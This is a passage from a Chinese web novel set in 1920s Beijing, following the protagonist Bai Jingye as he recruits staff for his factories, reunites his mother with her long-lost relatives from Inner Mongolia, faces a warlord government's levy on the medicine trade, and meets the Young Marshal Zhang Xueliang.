蒋兆熊校长看见白敬业进来,立马迎了上来伸手道,“修合,咱们这还是第一次见面,你可比照片上帅气多了,哈哈,我代表学校感谢你对北大的支持。”
也不怪蒋兆熊如此热情,他在几年前接手北大的时候就是个烂摊子。
蔡校长远走,他代理了北大校长一心改革,可改革需要什么?
需要钱。
政府哪管那个,就拨了一点可有可无的款项。
但蒋兆熊还是凭借自己的力量,打破北大教授无限期任教的制度,高薪引进人才,四处筹集款项。
可以说
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他在北大的历史上功不可没!
如今遇见白敬业这么支持他工作的大金主。
之前给了七万块银元,昨天又送来不少用品,再加上白敬业还是本校毕业的,能不热情么。
白敬业反倒是有点受宠若惊似的,握住蒋兆熊的手,“校长,这是我应该做的,我也是北大毕业的,不能看着咱们学校有难不管么。”
蒋兆熊点了点头,“不错,不愧是咱们北大的才子…”
他跟校长简单聊了几句之后,就和豫才先生等人在一旁聊了起来。
白敬业这边的人很少,除了豫才先生没几个文人。
反倒是和一些工科学院的教授,像仲揆先生他们聊的很好。
要说豫才先生是个文人,怎么不和公知他们一起呢?
这就得说豫才先生的脾气了,他在文坛是逮谁骂谁,民国最著名的喷子,和他关系好的没几个。
这时一个身材瘦小戴着眼镜的中年人,领着一个五岁的小男孩走了进来。
白敬业一看中年人马上起身,“老师,您来了。”
中年人是白敬业上学时的班主任,教国文的孟伟明。
在白敬业的印象里,原主喜欢写作,学生时期想当作家,就是受到了他的启发。
他经常给白敬业寻找一些杂书,其中还包括古本竹坡先生评的**。
白敬业对他印象最深的,就是他常挂在嘴边的一句话。
“偌大个华夏就放不下一张安静的书桌!”
孟伟明微笑着拍拍他的肩膀,“你的小说我看了,写的很好,虽文笔略有不足,但胜在通俗易懂,你能在这条路上坚持,我很欣慰。”
“还要多谢老师您之前的教诲。”
白敬业说着眼神看向旁边的男孩,“老师这是?”
“哦,这是我的儿子叫孟烦了”
孟伟明扯了扯儿子,“跟你师兄打招呼。”
“师兄好”
孟烦了怯生生的喊了一句,随即低下了头。
白敬业看小家伙还挺腼腆,一看就是家教过于严格。
他了解自己这位老师,幼时是留**童,但不知怎的回国后还是一身古板教条的思想。
白敬业蹲下揉了揉孟烦了的头,在身上摸了摸,从兜里掏出一支钢笔。
“拿着,这是师兄送给你的礼物。”
孟烦了看着钢笔,然后眼神望向自己的父亲。
“你师兄送你的,拿着吧”
得到父亲的许可,孟烦了开心的攥住了钢笔。
各位义父们,点个催更送点免费礼物吧
第43章 挖墙脚
白敬业打量起赵大水,见他五官周正、不苟言笑。
长相和前世的演员黄轩有些相似。
“不用那么拘谨,坐”
“谢少东家。”
赵大水言谈举止不卑不亢,坐在那给人感觉就俩字,放心!
白敬业对他的第一印象非常好。
“我听说你是高中毕业,怎么没接着上大学呢?”
赵大水自嘲似的笑了笑,“成绩不好没考上,我爹就让我来柜上先跟着学。”
“在柜上还适应么?”
“还成,平时跟着皮头后边学的挺多的。”
白敬业点了点头,心想,“再多学点就学成地下党了,看他这样,鬼子抓他的时候,他已经跟着皮头毕云良加入了。”
“我想让你来帮我做事,你愿不愿意?”
“啊?”
赵大水一时间没反应过来,疑问道,“少东家,您要自己开分铺?”
“哈哈,我开哪门子分铺,再说族里有规定,不允许家族子弟私开药铺。”白敬业笑道。
“那您让我…”
“我承办了两个被服厂,在给奉系做军需服装,厂子现在缺个管事的,想让你来帮帮我。”
“你放心厂子是暂时的,如果你做的好,我还有更重要的差事交给你办。”
赵大水在心里犹豫了一下,他在老铺现在是学徒。
可是明眼人都知道,他未来就是老铺的掌柜。
不过他这段时间在柜上忙活,白敬业的名字他耳朵都快听出茧子了。
现在谁不知道白家大少爷的大名。
跟着少东家做事,他的心也有点痒痒。
白敬业看出他有点犹豫,“这样吧,我以借人的形式,让你先过来,如果你觉得在我手下做事更舒服,那你就过来。”
“要是感觉老铺那好,等厂子忙活完了,你再回老铺怎么样。”
“行!”
赵大水这回没有犹豫,少东家把话说到这份上,在犹豫就是不知好歹了。
“少东家您说怎么干,我一定做好。”
白敬业一笑摆摆手,“没那么麻烦,你只要检查好,工人缝制出来的服装保质保量就可以。”
“另外,在工钱上要保证按时发放到她们手里。”
“我明白少东家。”
“那就让小胡带你去和张增致对接一下,这段时间就你们俩来。”
说完他看向小胡,“另外带他去换两件行头,穿着这大褂太土。”
“是,少爷。”
等两人出去以后,白敬业拿出一份盘尼西林生产厂的规划书,在上边写上了赵大水的名字。
白敬业说有更重要的事交给赵大水做,真不是在画大饼。
他不光是准备挖赵大水,还准备从百草厅带走一批学徒工。
百草厅之所以把药做成全国最大的药铺,不是因为有多少秘方、医术有多高。
而是靠的中药流水线似的作业方法,光配药、包装的学徒就不下两百多人。
这些学徒都认识字,有一定的文化。
而且手还特别稳,百草厅要求的,在你耳边放炮,你抓药时候都不能有一丝抖动。
这么好的人才你上哪找去?
所以咱们白大善人决定先从家里开挖,到时候再招上一批北大医学专校的学生,这不就齐活了么。
只要锄头抡的好,没有墙角挖不倒!
……
几天后,白敬业在北大的演讲彻**遍了大江南北。
南至广东、北至东北
各大学校的学生、文人,没有不知道白敬业大名的。
在北京饭店下榻的一位老人也看到了这篇报道。
说是老人,其实今年还不满六十岁,却已老态龙钟重病缠身。
他的病是累出来的。
“咳咳…说的真好,功成不必在我、功成必定有我!…咳咳,我在闭眼前能看到华夏有如此俊杰,死也瞑目了。”
“父亲,您歇一会吧。”
他的儿子看见父亲这个样子心酸不已。
老人摇了摇头,“咳咳…咳咳,哲生,若有机会你要多和他走动,这样的俊杰不走上我们的路,我心不甘。”
名叫哲生的年轻人点了点头,“父亲,要不我让他来这见您?”
老人想了想,摇摇头,“等过些日子有机会的吧,你立刻给黄埔去电,要让所有学生都阅读这篇演讲!”
“嗯,我马上去。”
同样的事也发生在天津。
少帅府内,张少帅一字一句的认真读完整篇演讲。
激动的直拍桌子,“好!说的真好!修合此人有大才!我身边若有此人,必会如虎添翼。徐承业!”
“到!”
“马上问问储世新,药品实验的结果如何了。”
过了五分钟,徐承业返回,“少帅,储师长说,总共八个人注射了药品,四名感染轻微的情况已经好转,另外四名严重的也脱离了危险期。”
张少帅‘腾’地站了起来,“这药这么神?!”
徐承业笑了笑,“储师长还问少帅您还有药么,要是还有再给他发一批。”
张少帅挠了挠头,叉着腰原地溜达了几圈,“咱们这周还有什么安排?”
“后天要和溥仪一起参加一个酒会,其他的没了。”
张少帅挥了挥手,“取消!老子现在没时间陪他做那个
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春秋大梦,给我订明天去北平的火车票。”
“是!”
咱说少帅这身份还用订车票?
分情况。
专列不是随便动的,你这边动专列就得跟铁路协调列车,挂上你的专列车厢。
北平那边立马就知道少帅要来。
现在掌权的虽然是老段,但你弄得跟访问似的肯定不方便。
然而在东北有俩倒霉蛋,正对着报纸上白敬业的照片发愁。
这俩倒霉蛋正是**和李贵。
这哥俩前段时间乘火车从北平到了奉天,一路赶到了通辽。
在通辽多方探寻,终于有了结果。
这位大格格和黄立居住在一个名叫吉尔嘎朗的小镇里。
小镇是大格格的父亲詹王爷出生的地方,可当俩人到了小镇却傻眼了。
问谁,谁都说不知道有这么个人。
哥俩只能住在镇上的客栈里,一边自己打探,一边让客栈的老板帮忙。
二人无奈的对着白敬业的照片叹气。
李贵端起奶茶喝了一口,“文哥,咱们明天去哪个方向找,要不要换个镇子接着找。”
**摇摇头,“换个镇太耽误时间了,如果明天还没结果,咱们俩就返回北平。”
“回去?”
李贵皱眉道,“少爷交代的事还没办完,就这么回去?”
“没事,少爷不会怪咱俩的,本身这就是一个大海捞针的活。”
**说完到门口看了一眼,回来压低声音说道,“而且你发现没有,镇子里看咱俩的眼神都有点怪,似乎带着点敌意。”
李贵琢磨琢磨点点头,好像确实如**所说。
“咱们出来办事的,最重要的是不能给少爷惹麻烦,人找不到来年开春咱们俩再来。”
李贵觉得**说的在理,同意他的决定。
这哥俩哪能想到,他们一进这个镇子就被人盯上了。
客栈的掌柜乘着夜色骑上马出了小镇,来到镇外草原上一个蒙古包。
“黄立安答在么?”
“在家,进来吧。”
客栈掌柜进去一看,黄立正拿刀往下卸羊排。
“哈哈,今天有口福了,能吃上黄立安答亲手做的手把肉。”
黄立给他倒了一碗奶茶,问道,“那两个小子在你那还没走?”
掌柜摆摆手,“没有,但是安答我看他们两个不像是歹人,会不会真的是北平的人来找你寻亲的?”
黄立举刀的手顿了一下,沉默片刻后说道,“寻亲也不用带着枪啊,我在北平就一家亲戚,这样吧,明天你帮我试探试探。”
喜欢这本书的义父们麻烦留个五星好评
第44章 草原雄鹰展翅飞左三杯、右三杯
**和李贵第二天又早早的外出寻访,依旧没有结果。
二人一商量下午也不找了,回客栈准备好好休息一下收拾行李,然后返回北平。
“两位客官,今天这么早就回来了?”掌柜的见两人回来的早有些诧异。
**勉强笑了笑,“找了这么多天也没什么结果,明天一早我们退房就回去了。”
掌柜听说两人要走一愣,“好好,有什么需要的,两位客官尽管吩咐伙计。”
“谢谢掌柜的”
掌柜看着两人的背影,眼珠直转圈不知道心里在盘算什么。
到了傍晚,**两兄弟刚准备叫伙计准备点吃的。
“咚咚”
掌柜的敲门后走了进来,脸上带着笑意,“二位晚上还没吃东西吧?”
**摇摇头,“刚准备叫伙计准备,掌柜您就进来了。”
“哈哈”
掌柜笑了笑说明来意,“这不临近年底么,今晚我们小店大伙儿在一起吃个饭,二位要是不嫌弃一起来吧。”
“反正店里就你们两位客人,大伙在一起也热闹。”
“额,我们还是自己吃吧,不给您添麻烦了?”
掌柜十分热情,上前拉住**和李贵的胳膊。
“不麻烦!我们蒙族人民都好客,在我这住都是朋友,朋友来了我们有的是好酒好肉。”
二人见掌柜如此热情,也不好拒绝,心想就吃口饭,反正明天也走了,尝尝蒙古的吃食也好。
他们跟着掌柜的刚进到后院,就听见房间里马头琴声悠扬,里面的人载歌载舞。
“噔噔噔噔,噔噔蹬,浓浓烈烈的美酒啊……”
此时他俩还不知道,这首歌的别名为草原失忆进行曲…
**和李贵刚进入到房间内。
房间里走过两名大汉,手里端着哈达,套在了两人的脖子上。
哥俩都懵了,没见过这阵势啊。
掌柜高举双手呼喊道,“让我们一起欢迎最尊贵的客人来到草原做客!”
献哈达的两个大汉一人端着一碗酒,送到哥俩的面前。
哥俩对视一眼,心想喝吧,不喝也没办法入乡随俗嘛!
二人跟着掌柜学起来,敬天!敬地!
随后一口干掉碗里的酒。
喝的时候哥俩可遭老罪了,他们本身就不怎么喝酒。
出去和白敬业喝的也是黄酒。
可碗里的是啥?闷倒驴!60多度!
**还好一些。
李贵可不行了,就觉自己脸也大、嘴也大,反正浑身上下哪都大,肚子里像是有一团火似的。
掌柜伸手让两人往里请,让到主座,端起酒碗笑道。
“**兄弟、李贵兄弟,自我介绍一下,我叫乌勒吉德勒·列日图楞巴。”
他说完后一饮而尽。
挨着掌柜又站起一个大汉端起酒碗,“我是店里的伙计,叫博尔济吉特·额尔柯巴拜。”
也是一饮而尽。
“我叫包日吉汗·乌宁巴雅尔!”
“我叫……”
**和李贵只顾着点头傻笑,一连串七八个名字,他俩一个都没记住。
也不能怪他们俩不尊重人家,主要是这名太他妈长了!
一桌子人都做完自我介绍,乌勒掌柜端着酒碗笑道。
“朋友,在我们草原有个习俗,只要客人来了能准确的说出对方的名字,那就是最要好的朋友。”
“否则就要罚上一碗酒,**兄弟,我叫什么名字?”
“你…你,啊?”
**和李贵对视一眼,俩人的眼神都变得**逼的。
刚才的那个博尔济吉特站起来说道,“**兄弟没记住他没关系,你记住我了么?”
**有些尴尬的笑了笑。
乌勒假装不悦道,“**兄弟是没拿我们当朋友么!”
“对不起掌柜的,我这人记性差,这样吧,我罚酒!罚酒!”
“我们有八个人,你要喝八碗!”
**和李贵一看这碗,二两一碗,真的喝不下去。
这时桌上的一个汉子替二人解围道,“乌勒,我们不能欺负朋友嘛,他们也不懂我们的习俗,就让他们喝三碗吧。”
乌勒点点头,给两人一人倒了三碗酒。
**、李贵无奈,只能端起酒碗喝下去。
这三碗喝完,两人都迷迷糊糊。
桌上的凉菜还没上齐呢,已经每人喝了八两多。
二人刚放下酒碗,又有人站起来高声道。
“草原的雄鹰展翅飞!一只翅膀挂三杯,李贵兄弟,雄鹰有几只翅膀?”
李贵晕晕乎乎,说话大舌头浪迹,“两…两吃!”
“哈哈哈哈,说的好,左三杯喝完该右三杯了,倒酒!”
**朦胧着醉眼,瞥了李贵一眼,心道“你这张逼嘴怎么这么欠呢!”
“吨吨吨”
三碗又喝了下去,这回**真的不行了,觉得天旋地转,胃里上下翻腾。
扭头一看李贵人没了!
钻桌子底下了。
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他也没工夫管李贵,“掌柜的我要方便一下。”,捂着嘴就往外跑。
**刚踉跄的跑到院子里,一股小凉风一吹。
他就觉得脑袋‘嗡’,摔倒在地不省人事。
……
“哗!”
一盆凉水泼到沉睡的**脸上。
**感觉脸上凉丝丝的醒了过来,他一看面前站着的正是客栈掌柜和那几个伙计。
他们身后还有个伙计在那夸夸磨刀呢。
自己和李贵被五花大绑扔在柴房的柴垛上。
**心想,这回是完犊喽,遇到黑店了。
他挣扎着坐了起来,“掌柜的你这是干什么?”
“咱们有事好说,您要是求财,我们身上的银子都给您,给我们俩留点路费就行。觉得不够,我马上让我们少爷送钱来赎我们。”
“哈哈哈”
乌勒掌柜哈哈一笑,“**兄弟,别怪我们,我们不图你们的钱,是想问你们点事。”
“你们要是配合,我马上放了你们,要是说瞎话,就把你们扔到草原喂狼!”
**和李贵直点头,“你问吧。”
“你们找黄立究竟要干什么?”
**一听黄立这名,立马来了精神,“你认识黄立?他在哪?”
“先回答我”
“我们来自京城百草厅,黄立是我们少爷的舅舅,我们真是来找舅老爷的。”
磨刀的汉子听到百草厅,手上的动作停了下来,皱着眉头接着听下去。
掌柜的点点头,拿出两把**把玩着,“你们既然是来寻亲的,为什么还要带这东西?”
“这是少爷送给我们防身的,怕我们在路上遇到麻烦。您不信,我的怀里有少爷的亲笔信。
“还有!我房间里有张报纸上面的照片就是我们少爷。”
掌柜的一听,递给旁边伙计一个眼神。
伙计上前从**怀里掏出一封信,他屋里的报纸也被人取来。
掌柜的拿着信和报纸交给后边磨刀的汉子。
大汉看着报纸上的照片眼角发红,他正是**苦找的黄立。
黄立是见过白敬业的,打死亲爹贵武之前,他离着远处偷偷看过白敬业几次。
他哆嗦着手把信展开,边看边掉眼泪。
信上白敬业的话是情真意切,大意是黄春给姥爷武贝勒立了坟。
自己和母亲十分惦念舅舅和姥姥,如果他看到信,希望带着姥姥回京城,一家人团聚。
黄立擦了擦眼泪,忙道,“快,给他们解开。”
第45章 大格格
黄立走到**、李贵面前,伸手将二人扶了起来。
“两位兄弟真是对不住,我就是你们找的黄立。”
**、李贵一听他就是黄立,二人喜出望外。
“舅老爷您怎么…”
黄立拍拍两人的肩膀,“走,进屋咱们再细说。”
乌勒掌柜也笑了起来,吩咐道,“做点吃的、喝的,给两位兄弟压压惊。”
此时刚刚凌晨五点多,天还没亮,众人来到乌勒的屋子里。
这回桌上除了两兄弟,只有乌勒和黄立两人。
摆满了吃的,手把羊肉、薄皮的肉包子、各种奶制品。
除此以外,每人面前还有一瓶白酒。
李贵一闻见酒味立马有了反应,干呕了两下。
气的**捶了他一下,“滚外边吐去!”
“哈哈哈”
逗得乌勒哈哈大笑,“两位兄弟不能喝酒多喝点奶茶吧。”
要论喝酒,内蒙人民说第二,没有敢吹自己是第一的。
无论头天喝了多少,第二天都要来上一瓶透一透
**二人喝了些热奶茶,身体缓过来一些,这才听黄立讲起事情的经过。
原来,这哥俩一进镇子打听黄立,那边就知道了。
这个小镇是詹王爷起家地方,地方不大,但互相之间都沾亲带故。
黄立年轻时学武闯荡江湖,找自己的妹妹黄春,也得罪过不少人。
他这人特别谨慎,再加上客栈里的人眼尖发现了**两人身上带的家伙。
黄立怕仇家来上门寻仇才故意不露面。
等黄立讲完,**开始劝道,“舅老爷,您这次一定要跟我回去。如果我们没找到您那讲不了。”
“现在找到了,您得带着老夫人跟我们一起去趟北京,我们少爷和太太都惦记着您们,尤其是太太。”
“少爷吩咐让我们在年前回去,就是想在立春前,让一家人团聚。”
乌勒掌柜在旁边听完拍拍黄立,也劝道,“黄立安答,王兄弟说的对。家人总要团聚的,母亲要见女儿,舅舅也要见见外甥嘛!”
黄立默默考虑了一会儿,才说道,“好吧,一会儿我带你们去看看我妈。咱们一起商量一下,她要同意,咱们这两天就出发。”
饭后,天也亮了起来,几人骑着快马来到镇外的蒙古包。
黄立已经成家了,娶的是个蒙古姑娘,平时以放牧为生。
而且大格格也健在,年轻时手里有不少金银细软,所以吃穿不成问题。
黄立领着**两兄弟进了蒙古包,里面一个老太太正坐在榻上喝茶。
这位正是大宅门白家一切恩怨情仇的源头,詹王府大格格。
四十多年前,大格格与贵武偷情,导致大格格怀孕。
白家二爷看病看出了喜脉,詹王爷为了掩饰家丑砸车杀马,白二爷从此一辈子没敢外出看病。
白家老爷子咽不下这口气,开了几副保胎药,这才有了黄立和黄春。
而贵武因此怀恨在心,因慈禧痛恨进宫的二格格,在中间下黑手甘草换甘遂,导致御医白大爷判了斩监候。
如今四十多年已过,大格格已老态龙钟,贵武也死在亲儿子手里,一切恩怨随风飘散。
大格格看见黄立领着两个陌生人进来,立马从榻上下来,“这两位是?”
“妈,这是白家的人,您外孙子白敬业派来接咱们进京的,**和李贵。”
“敬业?”
大格格呢喃着,愣在原地。
黄立把事情经过讲了一遍,又把那份信拿了出来。
大格格看着信,也是吧嗒吧嗒直掉眼泪。
黄立替母亲擦掉眼泪,安慰道,“妈,要不咱们去吧,这么多年您也该和我妹妹见上一面了。”
大格格止不住眼泪一句话不说,只是不停的摇头。
黄立知道她顾虑什么,劝道,“妈,当**都过去了,之前您是怕白家不认咱们,可现在敬业都派人来了,咱们不能冷了孩子这份心。”
**和李贵也劝道,“是啊老夫人,我们太太和少爷都可惦记您了。”
大格格的顾虑是有原因的,别看她出身尊贵,说到底黄春是个私生子。
虽然黄春的身份在京城是个公开的秘密,外人顾及白家不敢说三道四。
那个年代的人,把面子看得比什么都重要,她怕外人对女儿的流言蜚语,因此一直不敢相认。
众人好说歹说,劝动了大格格,准备这两日启程。
**和李贵也挺高兴,总算这件事算是办成了,帮着一起收拾行李。
这次回北平只有黄立和大格格两人,家眷先留在内蒙。
黄立这人要点面儿,怕被白家看轻了,在背后说拉家带口来打秋风。
……
“少爷,大喜大喜”
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小胡手里拿着电报,风风火火的闯入书房。
正在写规划书的白敬业,手上一顿,“呵呵,什么喜事。”
“少爷你看,**找到舅老爷了,这是他从奉天城发来的电报。”
“还真找到了。”
白敬业嘴上说着,赶紧接过电报查看。
**两人带着黄立和大格格,已经从通辽到了奉天。
两天后的火车从奉天出发,到时候让家里出人去接站。
白敬业抬腿就往正房去,准备将喜讯告诉母亲。
正房里,白景琦正陪着黄春闲聊。
每年快到立春的时候,黄春的心情都不太好,主要还是想念没见过面的母亲。
“妈,你猜我找到什么了?呦,老白你也在啊。”
白景琦已经习惯了这个称呼,你说完他也不改,也就不较真了。
黄春勉强的笑了笑,“找到什么了?看你高兴的。”
“我找到我姥姥和舅舅了!”
黄春听完呆若木鸡,手里的手帕也掉在了地上。
白景琦也是无与伦比,“什…什么,姥姥和舅舅。”
“啧,您瞧!姥姥大格格和舅舅黄立啊!”
“真的?!”黄春惊呼了一声。
“您看电报,**今早刚给我发过来的,两天后的火车从奉天出发,加上三天的行程,预计五天您就能见到他们了。”
白景琦接过电报拿到黄春眼前,和他一起看着。
黄春边看边哭,拉着白敬业又哭又笑的说道,“敬业,妈谢谢你,你从哪找到的他们。”
“嗨,您谢什么,当儿子应该的,我之前也是想碰碰运气,让**他们到蒙古老家去找找,谁承想还真找着了。”
白景琦也很高兴,他主要想看看能亲手给自己亲爹宰了的大舅子,究竟长什么模样。
他就够混不吝的,这回遇见这么个大舅子当然好奇。
他笑呵呵的说道,“小子,行,算你有一功,今晚济丰楼叫一桌好好犒劳犒劳你。”
一家人欢声笑语商量着黄立他们来之后的事情。
还说要让二老太太和大格格见上一面。
毕竟当年大格格进京时,没出那档子事之前,两方家里关系还不错。
正这时,王喜**喘吁吁的跑了进来,“七老爷出大事了!”
整点免费的小礼物和催更义父们,白敬业跪求
第46章 军饷
白景琦看着王喜光一副大事不好的样子,满头雾水的问道,“出什么事了?你着什么急啊,天还能塌了?”
“七老爷,关静山在老铺等着您呢!”
“这孙子干嘛来了?”
“说是要和您商量,开春给执政府军饷的事。”
白景琦直皱眉头,和白敬业对视一眼。
半个多月前,白敬业在会上就说过,执政府肯定会要军饷。
没想到还没开春人就来了。
来的还是和白家不对付的关静山。
“老白,我和你一起去吧,看看他能起什么幺蛾子。”
白景琦点了点头,“也好。”
……
白敬业跟着白景琦来到白家老铺。
赵五爷正满脸焦急的在门口等着,见主家来人,立马迎了上去。
“七老爷,您可算来了,您知道他这回要多少啊?”
“多少?”
赵五爷用手比出个七来,“总共给我们药行派了七十万啊!比直系的时候还多了二十万。”
“这么多!”
白景琦也十分惊讶,他咬了咬嘴唇,“您先别着急,我进去会会他。”
进了议事厅,只见关静山穿着一身执政府的军服。
一脸冷笑的冲白景琦拱手道,“七老爷,别来无恙啊。”
“呦,关旅长,好久不见。”
“呵呵,什么旅长,早就被撸了,我现在只是执政府的一个小小的军需官,请吧,七老爷。”
众人在长条桌前分开落座。
一面是关静山和他带来的两个副官。
一面是白景琦、白景双还有白敬业。
关静山的眼神飘向白敬业,笑道。
“这位就是北平最出名的白修合吧,真是英雄出少年啊,您在北大的那篇演讲听说大先生看了都叫好!”
白敬业微微一笑,“不敢当,我哪能比得上关旅长您呢。”
“替吴大帅在阵前血战,现在又替段大统领卖命,您还真是哪都能左右逢源。”
“呵呵,您骂我是三姓家奴?”
“不敢,您多心了!”
关静山听得出白敬业的讽刺,也不恼说了句,“这文人的嘴皮子就是厉害。”
白敬业是惯孩子家长么?
溥仪他都不惯着,能惯关静山的毛病?
关静山明显是来找茬的,更何况日后这**的还当了汉奸。
所以他的言语中夹枪带棒,没一点好脸色。
关静山清了清嗓子,也没和白敬业继续斗嘴,“七老爷,谈谈正事吧。”
“这次执政府春季要征收军饷,派给你们药行总共七十万大洋,怎么样?这数不多吧。”
白景琦一脸的为难,“关旅长,去年直系派了两笔军饷,已经把药行的银子都掏空了,这数咱们能不能再商量商量。”
“我们愿意支持执政府,可七十万实在是太多了。”
关静山呵呵一笑,“七老爷,您这是跟我哭穷啊。”
“别的家我不知道,我还不知道你们白家么?连溥仪都不敢欠你们的银子,你说你这买卖做到什么份上了。”
“再说,你们家这位白少爷还能接奉系军需的活,你们还差钱么?”
白景琦并不知道白敬业接军需的事,听见后看了他一眼。
白敬业冷笑一声,“关旅长,我虽是白家的人,但不在药行使活计,军需的事是我在大昌银号贷的款。”
“我用不用把被服厂的账本给您看看?咱们皖系什么时候还管上奉系做军需了?”
“呵呵”
关静山一笑,“别,您给我看我也不敢,到时候你再告我一个制造奉皖两系摩擦,我找谁说理去啊。”
白景琦斟酌了片刻,“关旅长,七十万实在太多,您能不能跟上边通融通融。”
关静山摇摇头,“七老爷,您还是别为难我了,我就是个跑腿的,没那么大的权力。”
“我劝您一句,你还是带着药行交了,否则执政府追究起战前的事,恐怕七老爷的面子上也不好看。”
关静山这就是赤裸裸的威胁,谁叫人家是扛枪的呢。
卖药的遇上扛枪的,只能老老实实的听话。
“真没商量么?”
“没商量!”
关静山的态度也强硬起来。
白景琦咬着牙点点头,“好,我交,王总管送客!”
“是,七老爷”
关静山拱手后,转身就出了议事厅。
王喜光跟在后边送着,他四周看了一圈,见周围没人,快走了两步到关静山的近前。
“关旅长留步”
关静山一听皱起眉头,心想你个太监,招呼**嘛。
“王总管有什么事?”
王喜光脸上挂着阴险的笑容,“我听说关旅长平时也喜欢听戏?今晚三庆我请您,有些事情商量您看如何。”
关静山瞥了他一眼,没立马答应,“什么事?”
“关于白
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大少爷的。”
关静山想了一会儿,“那成,今晚就三庆。”
“得嘞!”
王喜光目送着关静山走远,嘴上止不住的冷笑,“白敬业猴崽子,可算让你王爷爷逮到机会了,我让你这回吃不了兜着走!”
议事厅内,众人又叽叽喳喳的议论起来,中心点还是为了军饷的事。
赵五爷吹胡子瞪眼,手里的手杖在地上杵的梆梆作响。
“七老爷,我看呐,还是得把药行的同仁都召集起来,一起跟执政府商量,这七十万实在是太多!”
二老爷听完吐出口烟,直叹气,“唉,我看不成,他们手里都有枪,咱们还是别跟政府对着干。”
众人怎么商量也都没好主意。
最后吵的白敬业只能打圆场和稀泥。
“咳咳,各位大爷们,掌柜的,我说啊咱们这么吵也没用,无论是**还是交钱,咱们都先把这年过去再说。”
“都说年关难过,可活人还能让尿憋死么,年后咱们再把药行召集起来,万一这中间还有转机呢?”
众人一听也有道理,光吵吵有什么用。
白景琦磕了磕烟斗,“行啦,咱们也别让这事影响了心情,五爷,年底咱们给伙计们的福利再加点,大伙都喜庆喜庆,冲冲喜。”
“就跟敬业说的似的,万一中间还有转机呢?”
赵五爷捋着胡子,点了点头,“我替伙计们谢谢七老爷。”
等众人都走了以后,白敬业和他这活爹俩人面对面的相面。
谁也不先说话。
最后白景琦憋不住问道,“你刚才说有转机?是什么意思,这里真能有转机?”
白敬业头晃得跟拨浪鼓似的,“难呐爸贝,除非…算了不说了。”
“啧,你看你倒是说啊,这都急得火上房了。”
“倒是有一条办法,药行集体**关门上板,让整个北平没地方买药,和执政府谈判!”
“这…”
白景琦龇牙咧嘴的,“这他妈有点缺德啊!到什么时候不能让老百姓没药买。”
“还是的”白敬业撇了撇嘴,“要不我怎么说算了呢,而且这么做也缺个由头,万一药行心不齐,咱们家可就崴泥了。”
“算了”
白景琦摆了摆手,“有之前溥仪给的银子加上年底的股息,咱们替药行担上一多半应该不成问题。”
“说说你吧,你那奉系的军需是怎么回事?”
第47章 福聚德
白敬业呵呵一笑,“这有什么好说的,我三爷爷揽下的活,我看活儿不错,就接下来弄了。”
“三叔?哼哼”
白景琦听了直哼哼,“你悠着点吧,你三爷爷那人,一肚子全他妈坏水!”
“就跟你那姥爷,嘿,俩人像特么亲兄弟似的!”
“哈哈哈”,听到白景琦的精准评价,白敬业笑了起来,“我知道心里有数,三爷爷那点算计我清楚。”
“咱爷俩也走吧?”
白景琦扶凳起身唱了一句,“回家,晚上济丰楼葱烧海参!”
父子俩刚走出议事厅。
正和专门来寻白敬业的小胡走了个碰头。
他紧走两步上前递了张帖子,“少爷,夏部长给你下了请柬。”
白敬业打开一看,邀他今晚在福聚德吃鸭子。
他心里好奇,要是药品有了结果,派人来说一声就成,怎么还专门下了张请柬?
“少爷,夏部长派的人说,让您今晚务必到场,有重要的贵客要和您商讨些事。”
白敬业心头一动,暗道,“难道是他来了?”
他拿着请柬往白景琦眼前一递,“老白,今晚这葱烧海参还真吃不成了。”
白景琦看完笑着打趣道,“我说你这面子现在够大的啊,奉军的后勤部长请你吃饭?”
白敬业臭贫道,“那你看看,兴许过两天大先生还请我吃饭呢!”
……
“白少爷,您可来了,楼上的几位爷就等您了!”
白敬业离着福聚德还有段距离。
福聚德的掌柜卢孟实和堂头老常就都迎了上来。
“呦,卢掌柜可日子没见啊,今儿个连你都惊动了?”
白敬业看了眼手表,心想,自己来的正好啊,还提前了几分钟,这都着什么急?
“贵客已经到了?”
卢孟实脸上写满了慌张,抱拳拱手压低了声音说道,“早到了,白少爷您跟我交个底,今晚来的都是哪路的贵客,怎么这么大的阵仗?”
“怎么了?”白敬业问道。
“您不知道,从下午就来了一队卫兵,把我这二楼就全包了,说是今天二楼不许接客,专门等着您。”
“好不容易等着您来了,我这心里犯嘀咕不是。”
白敬业听了心里猜到**不离十,他撇了撇嘴,“卢掌柜,好歹你也接待过张大帅的劳军宴,胆儿怎么还这么小。”
“放心,有我呢,你还怕不给钱?开门做生意,打听那么多干什么。”
说完他迈着四方步,大摇大摆的进了福聚德。
卢掌柜赶紧挥手,“常贵!快,用心伺候着。”
“是了,掌柜的”
等白敬业上了二楼,一看这场面还真就是一愣。
十多个卫兵分成四桌,守在福聚德最大的包厢门前。
“白先生,我叫徐承业,是张少帅的副官,您跟我来。”
白敬业假装惊讶,“少帅到了?哎呀,这夏部长也没提前跟我说啊,失礼失礼。”
他正说着,包厢的门打开了,走出两个和白敬业年纪相仿的青年。
二人身上的气质一看就是长期大权在握的掌权者。
再加上年纪轻,都是满身的锐气。
“哈哈哈”
快走在前面的寸头青年迎了上来,一把握住白敬业的手,“修合!我终于见到你了!你不知道我可关注你不是一天两天了。”
“不敢不敢,鄙人白修合见过少帅。”
“啧”
张汉卿板起脸来佯怒道,“叫什么少帅,这么叫就远啦,你我年纪相仿,称我一声汉卿即可。”
“哈哈哈,那我就不客气了,汉卿兄”
白敬业这才好好打量起这位张少帅。
你要说张少帅长得帅起来没边,那是扯淡。
但他的身上确实有一种引人亲近的气质,准确的说是人格魅力。
历史上的他,说能力有多强不见得,但是人格魅力绝对拉满,转为模板化起码95以上。
张汉卿的身边有一大批死忠,哪怕被日记家关到抗战后期的时候,这些死忠依旧想把他救出来。
对于这些东北军来说,支撑他们在前线作战的理由只有两条。
一是打回东北、二是救出少帅。
否则他们也不会那么甘心的被日记家拆分的四分五裂。
“来,修合我给你介绍一下。”
张汉卿拉过身旁更为帅气一些的青年,“这是我兄弟,冯庸,非要跟我一起来见你,你喊他冯老五就行。”
“修合兄,你在北大的那篇演讲,我老冯看完是着实佩服,这不,汉卿说要来见你,我就颠颠的跟着跑来了。”
白敬业伸手跟他握了一下,谦虚道,“冯庸兄过奖了,赶鸭子上架说出来的话,不值一提。”
“哈哈哈,请!”
三人年纪都一样,所以没那么多客套,携手揽腕进了包厢。
进到包厢一看,里面还坐着一个中年人,却不是夏部长。
此人身高能有一米八五,面容坚毅,穿着一身军装,脸上挂着淡淡的笑容。
一看就是血火里厮杀出来的。
让白敬业不舒服的是,他的眼神中充满了桀骜,有种目空一切的感觉。
